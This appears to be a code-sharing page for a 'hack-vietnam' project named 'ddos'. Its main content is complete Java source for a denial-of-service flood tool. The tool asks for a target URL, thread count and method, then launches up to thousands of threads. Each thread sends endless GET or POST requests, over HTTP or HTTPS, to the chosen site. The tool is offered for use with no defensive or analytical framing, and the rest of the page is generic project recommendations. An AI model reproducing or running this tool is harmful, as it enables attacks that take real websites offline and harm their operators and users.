Code Monkey home page Code Monkey logo

hack-vietnam's Projects

ddos icon ddos

import java.io.*; import java.net.*; import java.util.Scanner; import java.util.ArrayList; import javax.net.ssl.HttpsURLConnection; public class Dos implements Runnable { private final String USER_AGENT = "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1"; private static int amount = 0; private static String url = ""; int seq; int type; public Dos(int seq, int type) { this.seq = seq; this.type = type; } public void run() { try { while (true) { switch (this.type) { case 1: postAttack(Dos.url); break; case 2: sslPostAttack(Dos.url); break; case 3: getAttack(Dos.url); break; case 4: sslGetAttack(Dos.url); break; } } } catch (Exception e) { } } public static void main(String[] args) throws Exception { String url = ""; int attakingAmoun = 0; Dos dos = new Dos(0, 0); Scanner in = new Scanner(System.in); System.out.print("Enter Url: "); url = in.nextLine(); System.out.println("\n"); System.out.println("Starting Attack to url: " + url); String[] SUrl = url.split("://"); System.out.println("Checking connection to Site"); if (SUrl[0] == "http" || SUrl[0].equals("http")) { dos.checkConnection(url); } else { dos.sslCheckConnection(url); } System.out.println("Setting DDoS By: Shadow Tak"); System.out.print("Thread: "); String amount = in.nextLine(); if (amount == null || amount.equals(null) || amount.equals("")) { Dos.amount = 2000; } else { Dos.amount = Integer.parseInt(amount); } System.out.print("method: "); String option = in.nextLine(); int ioption = 1; if (option == "get" || option == "GET") { if (SUrl[0] == "http" || SUrl[0].equals("http")) { ioption = 3; } else { ioption = 4; } } else { if (SUrl[0] == "http" || SUrl[0].equals("http")) { ioption = 1; } else { ioption = 2; } } Thread.sleep(2000); System.out.println("Starting Attack"); ArrayList<Thread> threads = new ArrayList<Thread>(); for (int i = 0; i < Dos.amount; i++) { Thread t = new Thread(new Dos(i, ioption)); t.start(); threads.add(t); } for (int i = 0; i < threads.size(); i++) { Thread t = threads.get(i); try { t.join(); } catch (Exception e) { } } System.out.println("Main Thread ended"); } private void checkConnection(String url) throws Exception { System.out.println("Checking Connection"); URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); if (responseCode == 200) { System.out.println("Connected to website"); } Dos.url = url; } private void sslCheckConnection(String url) throws Exception { System.out.println("Checking Connection (ssl)"); URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); if (responseCode == 200) { System.out.println("Connected to website"); } Dos.url = url; } private void postAttack(String url) throws Exception { URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("User-Agent", USER_AGENT); con.setRequestProperty("Accept-Language", "en-US,en;"); String urlParameters = "out of memory"; con.setDoOutput(true); DataOutputStream wr = new DataOutputStream(con.getOutputStream()); wr.writeBytes(urlParameters); wr.flush(); wr.close(); int responseCode = con.getResponseCode(); System.out.println("POST attack done!: " + responseCode + "Thread: " + this.seq); } private void getAttack(String url) throws Exception { URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); System.out.println("GET attack done!: " + responseCode + "Thread: " + this.seq); } private void sslPostAttack(String url) throws Exception { URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); con.setRequestProperty("Accept-Language", "en-US,en;"); String urlParameters = "out of memory"; con.setDoOutput(true); DataOutputStream wr = new DataOutputStream(con.getOutputStream()); wr.writeBytes(urlParameters); wr.flush(); wr.close(); int responseCode = con.getResponseCode(); System.out.println("GET attack done!:" + responseCode + "Thread: " + this.seq); } private void sslGetAttack(String url) throws Exception { URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("User-Agent", USER_AGENT); int responseCode = con.getResponseCode(); System.out.println("GET attack done!: " + responseCode + "Thread: " + this.seq); } }

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.